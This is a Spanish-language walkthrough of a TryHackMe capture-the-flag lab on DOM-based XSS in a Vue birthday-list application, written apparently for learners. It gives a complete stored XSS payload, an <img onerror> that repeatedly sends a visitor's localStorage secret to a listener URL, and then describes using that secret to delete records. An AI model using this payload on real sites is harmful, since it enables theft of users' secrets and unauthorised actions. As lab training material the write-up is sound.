Ahora que entendemos los ataques basados en DOM, y más específicamente, el XSS basado en DOM, es hora de poner nuestro conocimiento a prueba. Usa el siguiente comando para añadir una entrada a /etc/hosts:
sudo echo MACHINE_IP lists.tryhackme.loc >> /etc/hosts
Una vez hecho, navega hasta http://lists.tryhackme.loc:5173/. Ahí tendrás una aplicación sencilla de lista de cumpleaños que es vulnerable a XSS DOM-based attacks. Puedes añadir y actualizar cumpleaños pero no borrarlos. Necesitas armamentizar XSS para poder borrarlos. Una vez que borres todos recibirás la flag.
Enumeración de una Aplicación de Frontend Moderna
Para poder hacer este reto, necesitas analizar la aplicación Vue. Al navegar hasta la aplicación verás lo siguiente:

Si usas View Page Source no te ayuda mucho:

Sin embargo, el navegador reconstruirá la aplicación Vue para nosotros en el debugger. Verás lo siguiente:

Usando esto puedes navegar a src -> components, lo que te mostrará los archivos Vue reconstruidos como se muestra debajo:

Challenge
- Si buscamos por los parámetros editables podemos ver lo siguiente:

- Si buscamos en internet v-html Vue:
Person, sin embargo es contenido dinámico proporcionado por el usuario. Por lo que ya tenemos nuestro source. - Gracias a las pistas de THM sabemos que hay otro usuario, y que probablemente ellos tengan el secreto real, porque nosotros no:

- Por lo que si podemos hacer que un usuario que visita la página nos lo mande podremos eliminar los cumpleaños:

- Investigamos cómo mandar un componente de la app por JS:
fetch('http://URL:PORT?secret=' + ecodeURIComponent(localStorage.getItem('secret'))).then(response => {});
- Como nos dicen que si no obtenemos la respuesta esperada puede que tengamos que investigar al usuario más tiempo, añadimos un intervalo que ejecuta el código cada 2 segundos.
setInterval(function() {fetch('http://URL:PORT?secret=' + encodeURIComponent(localStorage.getItem('secret'))).then(response => {})},2000);
- Por último envolvemos todo en nuestro truco
<img>para el payload final.
<img src="x" onerror="setInterval(function() {fetch('http://URL:PORT?secret=' + encodeURIComponent(localStorage.getItem('secret'))).then(response => {})},2000);">
- Esto lo metemos en el parámetro Person habiendo configurado nuestro servidor de escucha:

- Observamos las comunicaciones con nuestro servidor:

- Ya tenemos el secreto. Ahora tenemos que conseguir el id de los cumpleaños para poder borrarlos:

- Vemos que hay un path donde parece que están los IDs:
http://lists.tryhackme.loc:5001/bdays/:
- Hacemos una lista con los IDs:

- Hacemos un bucle que haga peticiones al endpoint de borrado:

- Si nos metemos en la página y la recargamos vemos que ya no hay cumpleaños:

- Ahora si miramos el debugger otra vez:

- Por lo que miramos allí:

